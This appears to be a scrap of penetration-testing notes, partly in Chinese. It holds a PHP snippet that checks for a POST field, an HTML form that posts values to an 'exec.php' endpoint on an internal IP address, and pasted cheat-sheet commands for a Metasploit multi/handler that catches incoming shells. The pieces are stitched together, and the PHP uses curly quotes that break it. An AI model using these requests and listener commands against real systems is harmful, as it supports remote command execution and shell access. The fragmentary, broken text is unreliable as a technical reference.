<?php
if (isset($_POST[“AAA”])){
echo “ISSET”;
}else{
echo “UNSET”;
}

这里要构造表单的
<form enctype="application/x-www-form-urlencoded" action="http://10.16.83.113/exec.php" method="POST">
<input type="text" name="radiobutton" value="homeway">
<input type="text" name="key" value="nokey">
<input type="submit" value="submit">
</form>

或者直接burp改,但是必须要Content-Type: application/x-www-form-urlencoded

Handlers
Metasploit handlers can be great at quickly setting up Metasploit to be in a position to receive your incoming shells. Handlers should be in the following format.
use exploit/multi/handler
set PAYLOAD
set LHOST
set LPORT
set ExitOnSession false
exploit -j -z
Once the required values are completed the following command will execute your handler – ‘msfconsole -L -r ‘
